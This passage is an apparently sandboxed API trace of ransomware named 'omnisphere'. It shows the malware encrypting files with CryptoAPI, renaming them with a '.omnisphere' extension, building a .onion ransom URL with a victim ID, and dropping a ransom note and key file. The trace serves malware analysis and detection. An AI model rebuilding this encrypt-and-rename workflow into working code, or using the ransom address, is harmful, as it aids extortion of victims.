dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.548] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.549] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.549] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0126.549] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4f5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.549] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.549] GetProcessHeap () returned 0x1600000 [0126.549] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16d5d78 [0126.549] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lu4bwtbllzp.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lu4bwtbllzp.lnk.omnisphere")) returned 1 [0126.550] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk.omnisphere.id" [0126.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lu4bwtbllzp.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.550] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.551] CloseHandle (hObject=0x3c0) returned 1 [0126.551] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.551] CloseHandle (hObject=0x288) returned 1 [0126.551] SetEndOfFile (hFile=0x28c) returned 1 [0126.551] FlushFileBuffers (hFile=0x28c) returned 1 [0126.555] CloseHandle (hObject=0x28c) returned 1 [0126.555] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lU4BwtBlLZP.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.555] GetProcessHeap () returned 0x1600000 [0126.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16da838 [0126.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.555] GetProcessHeap () returned 0x1600000 [0126.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5a50 [0126.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5a50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.555] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.555] GetProcessHeap () returned 0x1600000 [0126.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7e48 [0126.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7e48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.555] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.555] GetProcessHeap () returned 0x1600000 [0126.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c0a00 [0126.555] PathCombineW (in: pszDest=0x16c0a00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.555] GetProcessHeap () returned 0x1600000 [0126.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d4ed0 [0126.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.556] WriteFile (in: hFile=0x28c, lpBuffer=0x16d4ed0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d4ed0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.556] CloseHandle (hObject=0x28c) returned 1 [0126.556] GetProcessHeap () returned 0x1600000 [0126.556] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16da838 | out: hHeap=0x1600000) returned 1 [0126.556] GetProcessHeap () returned 0x1600000 [0126.556] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.556] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.556] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.556] CloseHandle (hObject=0x28c) returned 1 [0126.556] GetProcessHeap () returned 0x1600000 [0126.556] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.557] GetProcessHeap () returned 0x1600000 [0126.557] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656f58 | out: hHeap=0x1600000) returned 1 [0126.557] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e020728, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e020728, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e020728, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0xd3, cFileName="LX62 bOC84McF_7.lnk", cAlternateFileName="LX62BO~1.LNK")) returned 1 [0126.557] GetProcessHeap () returned 0x1600000 [0126.557] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162cec8 [0126.557] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="LX62 bOC84McF_7.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk" [0126.557] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LX62 bOC84McF_7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lx62 boc84mcf_7.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.557] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=847) returned 1 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.557] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] GetTickCount () returned 0x115f950 [0126.558] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ce0) returned 1 [0126.558] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.559] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.559] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.559] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0126.559] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34f, lpName=0x0) returned 0x288 [0126.559] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34f) returned 0x1480000 [0126.559] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16682c8) returned 1 [0126.559] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0126.560] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.560] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.561] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.561] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.561] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.561] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.561] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.582] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 